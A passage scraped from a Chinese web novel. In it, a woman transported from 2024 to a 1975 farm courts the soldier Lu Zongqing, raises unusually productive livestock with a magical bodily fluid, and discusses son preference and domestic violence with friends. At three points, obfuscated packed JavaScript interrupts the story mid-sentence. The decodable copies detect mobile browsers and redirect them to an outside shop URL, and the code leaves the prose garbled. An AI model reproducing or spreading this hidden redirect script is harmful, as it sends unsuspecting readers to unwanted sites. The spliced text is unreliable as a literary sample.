下床,喝水,冷静。 过了好一会儿,陆宗青才开口:“你常常这样吗?” 他的声音仍带着几分沙哑,听得人耳朵微麻。 “没有,之前最多是不太舒服,没有像这回这么严重。” 陆宗青语气担忧:“要不我们改天去市里的医院再看看?” 孟逐星摇了摇头:“不碍事,除了偶尔这样,其他、并没有什么的。” “你不会觉得很困扰吗?”陆宗青摩挲着指尖上的湿润,她的衣服应该湿透了…… “是有一点,但是它还是有很大好处的。”或许是两人之间有了亲密的接触,孟逐星生出一股冲动,隐晦地暗示道,“流出的那个,有特殊的功效。” “嗯?” “咳,就比如可以给土壤增加肥力,让动植物生长更快速之类的。” 陆宗青愣了一下,“还能这样吗?” “是啊,我也是偶然间发现的,很神奇吧!” “你确定没有什么不舒服吗?”陆宗青很不放心,“这种是不是叫‘特异功能’?有点像……” “唐僧?”孟逐星与他异口同声,紧接着两人都笑了。 “是有点类似,不过吃我的肉应该不可以长生不老。”孟逐星玩笑道,“目前我还没试过其他的用途,比如给人治病之类的,不过我想应该没啥用。” 说完后,她注意到陆宗青的目光似乎凝滞在她脚下的地上,孟逐星疑惑低头,顿时想找个地缝儿钻进去。 溢出的液体滴湿了一地,而她毫无所觉! 我的老天奶,这是她“病情”加重了?怎么还流个没完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆宗青黑眸幽亮,“不难受,反而很精神。” “……那就好。”孟逐星再次蒙上了头。 第二天一早,她被外面的鸟叫声吵醒,一睁眼便看到不远处的陆宗青仍闭眼睡着,五官依然是俊美的,只是瞧上去比平时温和很多。 咦,他的睫毛还挺长的嘛。 孟逐星盯着他看了一会儿,鬼使神差地伸手去探了探他的鼻息,呼——还好一切正常。 她将手缩回来后,就见陆宗青缓缓睁开了眼睛,一动不动地盯着她。 “嗯?我脸上有什么东西吗?” 陆宗青摇了摇头,“你睡得好吗?累的话就回去,我这里不用人照顾。” “那你白天不去厕所了?还是你想让别的小姑娘扶着你?” “……” 陆宗青解释道:“我是怕你辛苦。” “我没觉得累呀。”孟逐星下床穿好鞋,拿起水盆去水房打水,帮他擦了脸,又倒水给他刷牙。 有一说一,虽然处在这个年代,陆宗青的个人卫生做得很不错,昨夜两人贴那么近时,她也没闻到什么不好闻的气息。 孟逐星默默在心里给他加了一分。 两人刚洗漱完,就见陆思甜拎着饭盒过来了。 “哥、逐星姐,昨天晚上都还好吗?我心里惦记着你们,天还没亮就醒了,熬了点粥做了点小菜带来。” 陆宗青看着妹妹,轻蹙眉头:“不是说不让你多操劳吗?要多小心身体才对。” “放心吧,我又不是纸糊的人。”陆思甜对他吐了吐舌,面露惊讶,“哥,怎么一晚上不见,你的气色瞧着好很多了!” 陆宗青有些意外:“有么?” “嗯嗯!很有!逐星姐你看是不是?” 孟逐星装模作样地看了看,“嗯?好像是这么回事儿。” 目光不经意间与陆宗青撞上,她心口蓦地一跳,要命,他在笑什么? 还不是那种明显的笑,而是眼底泛起淡淡的笑意,眼神温柔得吓人。 她连忙别过眼,吃起粥来。 这种心思好像被人看穿的感觉不太妙…… 17. 第 17 章 之后,陆思甜留下看护,孟逐星则回到小院给猪和鸡鸭鹅喂了吃食,忙完后出了身汗,又打水烧水擦洗澡换衣裳。 刚把洗干净的衣服晾好,就见谢慧敏和莫莉莉俩人回来了,一脸风尘仆仆的样子。 “你们干啥去了,怎么瞧着这么累?” 莫莉莉打了个哈欠,“别提了,昨儿我们被安排去下面的村子,一大早就拎着器具箱赶路,走了快两个小时才到地方,一上午都忙着跟大爷大妈们宣传普及医疗知识。中午随便吃了点东西就开始给村里的推荐的人上课。” 孟逐星很疑惑:“上什么课啊?” “简单的医学救助课,为的是培养乡村里的卫生员,也就是赤脚医生,”莫莉莉喝了一大碗凉茶,喘了口气道,“他们有的家里以前是开药馆的,有的是读过不少书对医学很感兴趣,所以教起来倒没那么难。” 谢慧敏接口道:“只是医学知识系统而复杂,不是一天两天能够学完的,之后我们还要陆续下乡交流。” 孟逐星感叹:“这可真好,如此一来,村里的人有个头疼脑热的也方便找大夫了。” 不说这个年代,哪怕是在现代,许多农村地区的老人身体不舒服也只是忍着,好多年也不会做个体检,一般有什么病症发现时都已经晚了。 “只是这些卫生员也是半农半医,该忙农活的时候照样要下地,农闲的时候才去行医。” “甭管怎么说,有总比没有的好。” 能给贫穷落后的乡村带来一缕现代医学的曙光,怎么说也是一个巨大的贡献。 孟逐星笑道:“你们一路上辛苦了,快去屋里歇会儿,我去弄俩菜,待会儿咱们一块儿吃饭。” 莫莉莉感激地抱住她,“逐星你太好了!” 谢慧敏笑着卷起袖子:“我去洗把脸和你一起做。” 午饭两人一块炒了茄子豆角、凉拌黄瓜,热了玉米面的窝窝头,孟逐星又单独蒸了蛋羹,准备待会儿去医院时带着。 莫莉莉听说陆宗青受了伤,“咦,他们不是去演练去了吗?怎么还翻车伤着了?” 孟逐星却很奇怪,“你怎么知道他们去演练的事?” 她和思甜之所以知道,是因为陆宗青跟她们说过,莫莉莉在部队里又没什么亲人,除非…… “是李少阳跟你说的?” 莫莉莉切了一声,“谁稀罕知道他的事,还不是他前几天在医院里到处嚷嚷,我被迫听了一耳朵而已。” 孟逐星笑道:“少阳确实太像花蝴蝶了,没个正经样儿。” “是吧是吧你也这样觉得对吧?”莫莉莉鼓着腮满脸嫌弃,“也不知我们医院有的小姑娘是怎么想的,竟然会觉得他好看会说话,我真是……” 谢慧敏道:“萝卜青菜各有所爱嘛,你不喜欢,旁人觉得好也是常有的。” “话是没错,我就是看不惯他那个臭嘚瑟的样子,来这儿这么久,大院子弟的脾气是一点儿没改,也不怕惹上麻烦。” 孟逐星道:“他能一直这样说明人家有这个底气,咱们外人又操这个心干嘛。” “我才没担心他呢!”莫莉莉翻了个白眼,“我只是不喜欢他总在我面前晃悠,看得人心烦。” 谢慧敏与孟逐星对视一眼,悄悄笑了。 吃罢饭后,莫莉莉跟谢慧敏回屋睡觉,孟逐星则将蛋羹碗包裹在布里,拎着去了医院。 此时已然过了饭点,陆家兄妹也已经吃过了午饭,她带这个也只是想给陆宗青补充点营养。 阳光明晃晃地透窗而入,孟逐星走进来时,陆思甜正在小声跟陆宗青说着话。 “宗青哥,我蒸了碗蛋羹,你尝尝看好不好吃。” 说着,她取开布,陆思甜帮着把小桌板支起来。 陆宗青靠坐在床头,看着她,“外面太阳还挺大,我这边也没什么事,你怎么不晚点凉快点再过来?” 孟逐星眉眼弯弯:“我在家也没事,怎么说你现在也是个病号,我多跑两趟献献殷勤也是应该的,以后还有很多地方要宗青哥帮忙呢!” 陆宗青被她的笑眼晃得微微出神,“你我之间不必见外。” “是呀逐星姐,你跟我哥还客气什么呀!”陆思甜在一旁捂嘴偷笑,“都是自家人,随便使唤。” “……”孟逐星脸红了红,看向陆宗青,“这蛋羹不烫了,你快吃吧,多补充点营养身体好得快。” “嗯,多谢你。” 陆思甜见两人还这么客气,心里直干着急,照这样的发展速度,她啥时候能改口叫嫂子啊…… 殊不知,昨夜两人的关系已经有了突飞猛进的进展。 当晚,陆宗青没再让人陪护,孟逐星也不想再发生什么不可控的事情便也没再坚持。 之后几天,陆宗青都在养病,地里的麦子熟了,农场便开始了收割。 天气变幻莫测,收麦子最为要紧,凡是能正常活动的,都被叫来干活儿。 孟逐星与陆思甜也不例外,两人怎么说也是农场的一份子,总是要跟这里的社员知青们打好关系才是。 况且这活儿也不是白干的,忙完之后,她们可以各领五斤小麦回去,拿石磨磨成面能出四斤多白面呢! 一想到有白面馒头白面饺子可以吃,两人也不觉得有多热多累了。 好容易忙完,腰背都弯得酸疼,手上腿上也被麦秆划伤不少小口子,不过看着堆着高高的金灿灿的小麦,孟逐星心里又满是说不出的满足。 这样肉眼可见的收成,可比她在办公室吭哧瘪肚地写那些赛博垃圾有成就多了。 当天是去了公社的大食堂吃饭,人很多很热闹,孟逐星在那里见到了一个熟面孔——蒋熠。 那个曾将高烧的陆思甜送到医院的斯文眼镜男。 他穿着蓝衬衫黑长裤,端着饭缸站在人群中,模样温和地说着什么。 视线不经意间与孟逐星相对,蒋熠愣了一下,之后对她微微点了点头。 孟逐星扯了扯陆思甜的手,两人一起对他笑了笑。 晚饭后,洗漱完躺在床上时,陆思甜说:“逐星姐,我后来打听了,这人是在这边的小学里当老师,教语文和音乐,课上得好,脾气也特别好,有时候还会被调皮孩子给闹腾得无可奈何。” “他也是从外地来的吗?” “没错,听说有不少女知青对他有好感,但他却对谁都淡淡的,好像并不打算在这儿谈对象。” 孟逐星:“有这种想法也是很正常的呀,很多人都在盼着回城,在这儿谈对象你是结婚还是不结婚?莎爷爷可是说了,一切不以结婚为目的的恋爱都是耍流氓。” 莎士比亚怎么不是莎爷爷呢。 陆思甜疑惑问:“哪个沙爷爷?” 孟逐星信口胡扯:“就东头大槐树下面的,白胡须很长的那个。” “啊?有这么个人么……” “这不重要,思甜,哪天你要是有了喜欢的人,可一定不能恋爱脑,一定要对他的人品审视审视再审视,人品不行的人咱一定不能要。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732933|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“逐星姐,什么是‘恋爱脑’?” “呃,简单说就是被爱冲昏头脑,为了所谓的爱什么都顾不上了。” 陆思甜笑道:“这个你就放心吧,我绝对不会这样的。” 孟逐星幽幽叹气:“情啊爱啊,有时候感觉就是专门糊弄女孩子的。” “嗯?” 孟逐星想起现代时的所见所闻,道:“爱情这东西也许存在,但是纯粹真挚的感情不多,值得付出真心对待的人……也可能会随着时间变化而变心。” “也许一开始他就是伪装的,目的只是想骗一个为他生儿育女、操持家务、孝顺爹妈的全能保姆,他就可以理直气壮地当甩手掌柜,还能无痛收获一个随自己姓的孩子。” 陆思甜疑惑问:“可大家不都是这样吗?结婚生子、照顾老人,孝顺是理所应当的呀。” 孟逐星反问:“从来如此便是对的吗?” 她语调微高,“结婚时的身份是新娘,咱们女孩子嫁人后可不是到了夫家担起‘娘’的身份来?” “既要照顾丈夫,又要伺候公婆,如果怀孕了还要挺着大肚子操持家务,孩子落地了就更忙了,一家老小都离不开你,但凡有一件事没做好就是你不对。” “要是你迟迟没怀孕,嚯,那罪名可就更大了,公婆亲戚们明里暗里的询问,种种眼神与压力简直让人窒息。”孟逐星小嘴叭叭吐槽个不停。 陆思甜小声问:“逐星姐,你怎么知道这些的?” “嗐,我都是听别人说的。” 在网上冲浪时,孟逐星见过太多类似的评论。 “我也不是劝你别结婚,而是要慎重再慎重,一旦选错了,人生可能就会陷入泥沼。” “嗯,我知道的。” 陆思甜若有所思地点头,以前她听大伯母与其他大娘聊天,也会说谁谁家儿媳妇进门几年,连个蛋都没下。 她们的语气很是复杂,有嘲弄与探究,似乎也有几分看戏的幸灾乐祸,听得她眉头直皱心里很不是滋味儿,却说不出原因来。 过了一会儿,陆思甜忽然道:“逐星姐,那其实我也可以不结婚的吧?” 孟逐星有些意外她会这么说,“当然可以,做人最重要的是开心,只要没伤害他人,按照自己的想法去活就好。” 陆思甜笑了笑:“嗯,那我以后要多学点东西,以后多赚些钱,无论我以后做什么样的选择,有钱才有底气。” 孟逐星很是开心,“你会这样想就最好了。” “可是逐星姐,你会不会就不跟我哥在一起了?”陆思甜有些担心。 “那倒也不至于,目前来说,你哥还是很符合我的审美的。” 陆思甜心下一松,小声嘀咕:“看来我得提醒一下哥哥了。” “你说什么?” “啊没什么,逐星姐你放心,虽然我哥是我哥,但他要是做错了什么,我一定不会护着他,而是站在你这边的!” 孟逐星失笑:“我知道你跟我关系好、向着我,天不早了,快睡吧,明儿还有活儿要干。” 毕竟她们现在是有鸡鸭鹅猪要养的人,再说还要抽时间看书呢!这几天忙得连书都没翻一页,孟逐星不禁有点儿焦虑。 没成想闭上眼没多久便睡得昏天暗地。 第二天,她是被屋后的说话声给吵醒的。 迷迷糊糊间听到—— “真是奇了怪了,这鸡才养多久啊,怎么这么快就下蛋了?” 孟逐星腾地起身下床,直奔屋后。 18. 第 18 章 喜大奔普,她养的鸡下蛋了! 这对孟逐星来说是好消息,对莫莉莉、周蒙来说,就十分怪异。 “逐星,你的鸡我记得没养多久吧?怎么长这么快,还都下蛋了?” 孟逐星面不改色:“差不多,可能我喂养得比较好,所以它们营养充足提前发育了。” 周蒙一脸懵:“啊?我看它们不也就是吃些菜叶啥的吗?” “那就是我人品爆发,老天奶眷顾呗。” 孟逐星欣喜地捡起犹泛着温热的几枚鸡蛋,“早上可以加个餐了!” 莫莉莉小声问:“这是正经鸡蛋吗?” 孟逐星正色道:“正经小鸡下的正经蛋。” 莫莉莉咬了咬唇,“我不太敢吃。” 周蒙也面露犹豫。 孟逐星笑眯眯道:“那好吧,只好我和思甜、若楠、慧敏姐一块儿吃了。” 果然,吃早饭时,饭桌上多了一碗煮鸡蛋,四个。 宋若楠与谢慧敏得知这是屋后小鸡下的蛋,惊讶之余并没露出什么排斥与抗拒,淡定地剥壳吃了。 莫莉莉瞪大眼:“你们就不怕这蛋有问题吗?” 宋若楠挑眉:“能有什么问题?” “就、就鸡长得太快了啊!” 谢慧敏笑道:“这味道和普通鸡蛋吃着差不多,甚至蛋黄还更细腻些,莉莉你要不要尝尝?” 莫莉莉摇了摇头,她还是不敢。 周蒙却伸出小手:“慧敏姐,给我一点。” 莫莉莉:“……” 吃罢早饭,陆思甜在给鸭子换水时,惊讶地发现鸭子也下蛋了。 孟逐星一脸淡定,院内其他四人的反应也不再那么大,只是有些纳闷:难不成还真是逐星的运气比较好? 当天中午,孟逐星就用新鲜的鸭蛋和青椒炒了一大盘,送到了陆宗青的宿舍。 前两日他出了院,在宿舍静养。 舍友们都还在山里拉练,宿舍内只有陆宗青一人在。 陆宗青看着颜色鲜亮的鸭蛋,“我都好得差不多了,怎么还这么破费?” 孟逐星眼含得意:“我养的鸭子下的,随便吃,不差钱。” “这么快?”陆宗青很是意外,“不会与你的那个有关吧……” “宗青哥哥就是聪明。”孟逐星夸道,“我就是把我擦洗的水喂给它们而已。” “……” 陆宗青愣了愣,耳根微红,“那个确实很神奇,那天我喝完后,身上的伤都不怎么觉得疼了。” 孟逐星杏眸圆睁:“嗯?真的吗?还有这功效?” 要不改天她也尝尝? 不过在经期结束后,她的身体又恢复了“正常”,只要不动情、不窥探他人的心声,就没什么异样。 “逐星,虽然那个有奇效,但我总觉得这样未免太过伤身,要是可以控制,还是少……一些的好。” 一句话陆宗青说得很是缓慢,眼睛一直盯着她,仿佛生怕惹她生气般。 “我知道的,平日里都可控,唯独每个月那几日有些难办。”孟逐星对他眨了眨眼,“不过,我有宗青哥哥帮忙,以后也就不怕了。” 陆宗青怔了下,俊脸微红,眼神闪烁:“可我那样帮你……总归是不太好。” 孟逐星暗忖,这个年代说封闭吧,却也有不少人偷摸钻小树林、搞破鞋什么的,说开放那更不合适……只是俩人已经确定了关系,她又是现代人,对着个外貌身材都很符合她审美的男朋友却只能干看着,这未免太过折磨。 她决定给自己谋点福利。 眼眸低垂,嗓音微颤:“宗青哥哥是在怪我太过随便吗?” “我、我没有这个意思。”陆宗青顿时慌乱,“逐星,你、你别哭啊。” 孟逐星佯作抽泣,“我也知道我那晚不该那样,事后想起来我也万分后悔,生怕宗青哥哥会误会我,嫌我太过浪荡……” “我没有!”陆宗青急得一把抱住了她,“你别这样说你自个儿!” 孟逐星杏眼含泪,抬眸凝着他,“那宗青哥哥是怎么想的?为何不愿意继续帮我?” 陆宗青喘息微重,喉结上下滚动了一下,“我、我是信不过我自己,怕我会冒犯你。” “冒犯?”孟逐星露出迷茫的神色,“我不太明白。” 陆宗青俊脸发红,抿了抿唇,欲言又止地看着她,“这个很难解释。” “那宗青哥哥就不用解释。”孟逐星憋着笑,“我相信你是不会伤害我的对吧?” “……嗯。” “那就足够了。”孟逐星从他怀中直起身,装作不经意地摸了把他的胸肌,哦豁,很饱满嘛。 陆宗青耳根愈发红了,咳了一声,眼神落在她指尖又收回,她应该是不小心碰到的吧?嗯,一定是这样的。 吃完饭,孟逐星见他床头放着一摞书和一沓报纸,其中有几本就是高中课本,便问:“宗青哥哥有空的话就会看书吗?” “嗯,不忙的时候就会翻翻,你之前说的话我记在心上的。” “顺带着看看就好,距离……”孟逐星顿了一下,“反正不着急。” 陆宗青看着她,低声问:“你是听到了什么消息吗?” 孟逐星眨了眨眼,“天机不可泄露。” 她随意翻着他的书本,见书页都很干净整洁,偶尔有铅笔留下的字迹,想来陆宗青对书很是爱惜。 “你在屋里待得闷不闷?要不我扶你到外面树下坐会儿?” “好。” 人体拐杖再次上线,孟逐星扶着他到了宿舍门口的槐树下乘凉。 刚坐下没多久,就见到一个五十多岁的军官模样的人走了过来,孟逐星还没看清他的长相呢,就听陆宗青叫了声:“首长好。” 周团长对他笑着点了点头:“小陆身体好些了么?” 陆宗青:“基本上快好了,多谢首长关心。” 周团长看向孟逐星,笑问:“这个小姑娘长得很漂亮嘛,她就是你的未婚妻?” “是的。”陆宗青介绍道,“她叫孟逐星,逐星,这是我们周团长。” 孟逐星有点紧张一时没控制好音量,“首长好!” 周团长哈哈笑道:“嗯,小孟同志很有精神嘛!很好很好,这几天小陆受伤,辛苦你多加照顾了。” “不辛苦不辛苦,再说我也没做什么……” 周团长赞许地看着陆宗青,“这回小陆是为了保护我才受伤的,等你伤好了,到队里来领嘉奖。” “好的首长。” “你们继续聊天吧,我也就是来看看你。”周团长说罢,背着手踱步离去。 孟逐星看着他的背影,悄悄松了口气,她从小就怕老师,长大后又憷领导,这会儿冷不丁见到一个首长,下意识地就很紧张。 “你似乎很怕他?”陆宗青的声音隐含笑意。 “只有那么一丢丢而已。”孟逐星随手拨弄着地上的野草,“首长们都是这样平易近人的吗?” “他们大多都很和颜悦色,没你想的严肃。” “唔,你也应该多笑笑才好。” 陆宗青微愣,“什么?” 孟逐星笑眯眯走到他跟前,俯身靠近他的脸:“这样英俊好看的脸,总是板着就太可惜了。” “……” 陆宗青不自在地咳了一声,看了看四周,“在外面呢,要注意影响。” “嗯?我说什么不得体的话了吗?” 被喜欢的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732934|145083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夸奖,陆宗青平直的唇角很难保持,渐渐弯起。 他本就长得英俊,只是平时的神情过于严肃冷淡,此时一笑起来整个人都顿时变得温柔许多,看得孟逐星一愣一愣的。 颜狗属性大爆发,她情不自禁地凑得更近了些。 “啊,你笑起来真的好好看。” 她夸人的语气格外真挚,明亮的杏眸中满是迷恋,这陆宗青怎么扛得住?面红耳赤心跳加速,他怔在那儿,与她的嘴唇不过一个指尖的距离。 “哎哟喂,你们这是在?”一道熟悉的声音传来。 孟逐星转头看去,就见李少阳正笑眯眯地看着他们,他身后还跟着七八个人,个个穿着作战服,神情疲倦中又夹杂着几分震惊。 ……这下误会大了。 孟逐星怎么也没想到与陆宗青舍友们的头回见面,会是这么个尴尬情况。 她忙直起身,佯作淡定地开口:“少阳你们拉练回来了?我和宗青哥在这里乘凉说说话。” 目光一一扫过那几人,孟逐星对他们笑了笑,温声道:“你们好,我是陆宗青的未婚妻。” “哦哦,嫂子好!” “小嫂子好!” 嘈乱而响亮的声音此起彼伏。 陆宗青道:“你们应该很累了,回去洗洗睡吧,改天我和逐星请你们吃饭。” “那敢情好!”李少阳最是兴奋,搭着周晋的肩膀很没正行,“晋哥哥,怎么样我说小嫂子长得很俊没说错吧?” 周晋很嫌弃地甩开他,对孟逐星温和笑了笑,“人家再好看也跟你没关系,你嘚瑟个啥啊。” 李少阳理直气壮:“我这叫‘与有荣焉’。” 周晋翻了个白眼,跟陆宗青挥了挥手,跟其他人陆续进了宿舍。 李少阳则是撅起嘴做了几个嘴巴嘟嘟的动作,惹来陆宗青的几记眼刀后,才屁颠屁颠地离开。 “他们平时说话都比较随意,要是有什么让你不舒服的,我替他们跟你道歉。” “我觉得挺好的呀,有啥说啥,没毛病。” 陆宗青笑了笑,“你不介意就好。” “太阳快下山了,我扶你回去吧,我也该回去喂猪了。” 孟逐星心内叹气,养猪可真是又脏又累的活儿,支撑着她坚持下去的就是可以实现猪肉自由与赚点小钱钱。 陆宗青道:“这阵子辛苦你了,等我伤好了,有什么粗活累活都交给我。” “那怎么行,”孟逐星摇了摇头,“你又不是闲着没事干,我和思甜可以忙过来的,我走啦,明儿见。” 回去的路上,她遇到了宋若楠,两人一起朝小院走去。 宋若楠似乎刚刚哭过,眼圈儿还有点发红,孟逐星忍不住关切道:“若楠你怎么了?要是遇到什么事可以跟我说说,兴许能帮上什么忙。” 她想起前段时间宋若楠有一回也心情不好,她和周蒙等人还猜测她是不是失恋了。 孟逐星小声劝道:“姐妹,不要因为男人而伤心呀,三条腿的虫合虫莫不好找,两条腿的男人不是满大街?” “跟男的没关系。”宋若楠开口时声音仍有些哽咽,“是我的一个好朋友,她前段时间嫁人了。” “啊……” 孟逐星脑海中瞬间闪过无数个念头,嗯?宋若楠喜欢女孩子? “然后呢?” “她嫁的人好吃懒做十分粗鲁,她并不喜欢,只是家里人的意思,我原本就很担心她会被欺负,没想到……”宋若楠眼泛泪花,“她会被那个畜生给打得昏迷不醒!” “啊?!”孟逐星又惊又气,“这还有没有王法?怎么能随便打人?她家里人也不管吗?” 宋若楠苦笑:“有很多女孩子,一结了婚就没有家了。” 19. 第 19 章 孟逐星愣住,这样的话她也曾在网上看到过,因为她在现代还没结婚,并不能感同身受,只是在她弟弟有了准备结婚的对象后,她还是明显地感觉到父母对他们姐弟的区别对待。 简单说就是钱在哪里,爱就在哪里。 父母会心疼弟弟刚工作压力大,主动帮他找房租房,会担心他交了女朋友钱不够花,隔三差五地贴补钱给他,而同样是女儿,孟逐星就没得到什么经济上的帮助。 得知弟弟打算与女朋友结婚时,父母对待未来弟妹的态度也与对她很不一样,妈妈会记得弟妹喜欢吃什么菜,早早地便准备好,而孟逐星喜欢吃什么,爸妈早已记不清了。 …… 关于重男轻女这个话题,2024年的孟逐星和朋友们探讨过,结果大家都很失望,没想到在1975年魂穿过来后,情况也没什么不同。 “招娣——这是我朋友的名字。” 宋若楠嘴角挂着嘲讽,“和我的名字寓意差不多,一个是盼望着生男孩,一个是期待我像男孩一样。” “你说,男的就真的那么金贵吗?” “跟咱们女人比,到底哪里贵了?” 孟逐星沉默片刻,“都是封建残余在作祟,高压锅焖两小时就老实了。” “什么?” “没什么,我是说还是一些老僵尸的观念在影响,重男轻女,女儿嫁人了就是泼出去的水,拼命阻断女儿与娘家的联系,养儿才是防老,养女儿就是养外人,终究还是要嫁到别人家的之类的话……” “种种俗语、老风俗,细想一下都是在分裂女孩与家人的关系。” 孟逐星冷笑一声:“家产和宅基地是没有份儿的,可到该给父母养老时,又说大家都是平等的,女儿儿子都一样,心都偏到地球外了。” 宋若楠连连点头:“一模一样!招娣她爸妈就是这样的!之前之所以将招娣嫁给那个畜生,也是为了要彩礼钱给她弟弟娶媳妇。” “招娣嫁过去动不动就被那牲口打骂,几次哭着回了家,又被她父母劝回来,说夫妻吵闹是正常的,怨她这样动不动就回家来,是给女婿难堪,让他们抬不起头来。” 孟逐星血压都高了:“这啥爹妈啊?怎么还向着外人?” “呵,不还是因为他们要了那牲口几十块钱的彩礼?为了他们的好儿子,女儿被打骂一下又怎么了?谁家媳妇儿没挨过打?” 孟逐星无语,合着那地儿的风气就是这样。 “后来那牲口又对招娣下手了,以至于她昏迷不醒?” “没错,”宋若楠擦了擦眼泪,“这些事都是我另一个朋友写信告诉我的,招娣如今被接回了家里,她爹妈得下地干活,她弟弟又是个懒的,白天无人照顾,晚上她昏迷着也吃不了什么东西。” “我朋友去看了几回,每次都哭,却也不知道该怎么办。” “是没钱看大夫吗?” “一是没啥钱,二是在小地方,没啥大医院。” “那也不能就这样干看着啊。” 宋若楠抿了抿唇,“所以我打算回家一趟。” “那么远?”没记错的话,几乎要南北贯穿整个中国。 “我明天就请假去买火车票。” 孟逐星犹豫道:“要不然你先寄点钱回去?也许过两天招娣就醒了呢。” 宋若楠摇了摇头,“她情况不好,我不想留下什么遗憾。” “那成,你钱够不够?我这边还有一些。” “谢谢你逐星,我攒了钱,够用的。”宋若楠对她笑了笑,清冷的面容上笼上一层阴云,“这件事你别跟她们几个说,我不想她们也不开心。” “好。” 第二天,宋若楠跟医院请了假,买票踏上了回乡的火车。 孟逐星一大早就起来给她煮了一兜子鸡蛋,摘了几根鲜黄瓜让她带着在路上吃。 周蒙和莫莉莉等人虽然不知道她为何突然回家,却也准备了些吃食。 鸣笛声响起,火车徐徐启动,孟逐星望着渐渐远去的车厢,忽然间想到了马小兰。 也不知道这个时候她在干嘛? 有一阵子没收到她的信了。 ** 陆宗青身体完全康复后便归队了,领了嘉奖,他继续日常训练。 收完麦子后,农场里各处忙着打草、晒场,有时候突然变天下了雨,大家伙儿都忙不迭地将麦粒堆积,或盖好雨布,或装麻袋搬进屋里。 孟逐星每天都过得很充实开心,让她觉得更高兴的是,猪栏里的两头猪长势喜人,也许过不了多久,她就可以吃上香喷喷的猪肉了。 可陆思甜却有点舍不得,怎么说也是自己一点点养大的。 “那你不馋猪肉?” “……馋。” 陆思甜一瞬间就做好了思想工作,“养猪就是为了吃的。” 孟逐星笑眯眯道:“孺子可教也。” 不只是猪,鸡鸭鹅也只只长得肥嘟嘟,蛋一个接一个地下,跟疯了似的。 附近的人得到消息都跑来看,啧啧称奇:“之前也没听说这块地风水这么旺啊?早知道俺们也养几只鸡了。” “我看不是地好,是人家小孟同志养鸡有方,走咱们一块儿去取取经。” 被问及秘方时,孟逐星眨巴着大眼睛,一本正经道:“真的没啥秘方啊,就喂些剩菜剩饭、菜叶子啥的,都是它们太争气,好胜心强,想着不能输给这么多小鸡小鸭子啥的呗。” 问的人一脸不信,“噫”了一声,“你要是不想说就算了。” 孟逐星笑得无害:“是真的婶儿,我骗您干啥呀。” 这些肥鸡肥鸭肥鹅在现代人看来或许太过油腻、不利于健康,但对这会儿的人来说,就是极好的营养品。 消息一传十十传百,很快就有人来问价,孟逐星也没多要,爽快地卖了几只,赚了一笔小钱。 隔天她和陆思甜一道去了趟镇上,又采买了一筐鸡苗鸭苗。 有人跟她买了一样的回来,养了大半个月,却发现和寻常鸡鸭没什么两样,长得也不快,于是更加相信是她们那块地的原因了。 实现鸡蛋鸭蛋自由后,多了的孟逐星会拿去卖,一般都出不了农场就被抢完了。 王大妈点评道:“这鸡蛋特别香,吃着有股说不出来的好吃。” 李大爷说:“我家小孙子就爱吃这鸭蛋,要知道这小崽子以前可挑嘴了。” 有了好口碑,再加上蛋源能跟上,没过多久孟逐星就靠卖鸡蛋鸭蛋鹅蛋赚了不少钱。 晚上她和陆思甜一块儿数钱时,笑得见牙不见眼,“改天咱们去镇上买些布和棉花,快过冬了,得做床厚被子才好。” “还得买身厚棉袄,我听我哥说这边冬天老冷了。” 暑气渐消,这天天气凉爽,部队里放假,陆宗青便请舍友们一块吃饭,地点定在了孟逐星她们的小院里。 这段时间以来,小院厨房使用率飙升,自然也添了许多物件儿,锅碗瓢盆调料桌椅都齐全了。今天莫莉莉和周蒙也休息,一群人便站满了小院,十分热闹。 陆宗青掌勺,周晋和李少阳打下手,孟逐星和陆思甜本来也想帮忙,被他给推了出去,“厨房油烟大,你们去外面凉快去。” 于是孟逐星便泡了花茶,端出来炒瓜子、花生招呼大家,陆宗青的这些舍友,除了李少阳嘴贫话多,其他人都比较老实木讷,尤其是在好几个小姑娘面前,更是显得颇为拘谨。 孟逐星笑道:“你们也别紧张,大家都是建设祖国的好同志,都是两只眼睛一张嘴,有什么好怕的?你们要是再这么拘束,待会儿吃饭我们可就和你们分桌吃了啊。” 吴顺喜道:“小孟同志说得对,大家伙儿放松些,人家女同志们又不会吃人。” 一番话说得众人都笑了,气氛这才松快些许。 待到能吃饭时,十几个人将两张拼一起的桌子围得满满当当,桌子上则摆满了菜,用碗装着荤素都有,色香味俱全,其中最大的荤菜便是铁锅炖鸡了,白面饼子盖在菜上浸满了汤汁,配上浓油赤酱的鸡肉粉条特别地香。 之前孟逐星只吃过陆宗青做的凉面,这会儿吃上几个大菜,顿时对他刮目相看—— 会做饭的男人不稀奇,但是会做饭又长得好看还不显摆自己的男人就很稀有了。 虽说天气开始转凉,但在厨房忙乎那么久,陆宗青额头还是出了一层汗,孟逐星便将自己的手帕给他递了过去。 陆宗青接过,对她笑了笑。 一旁的李少阳瞅见了,开始怪笑:“哎哟,哥儿几个有没有发现,咱们的陆排长最近笑容越来越多了吗?” 吴顺喜赞同道:“你这么一说,确实是这么回事。” 周晋笑道:“这就是所谓的‘人逢喜事精神爽’,宗子,你和孟同志的事什 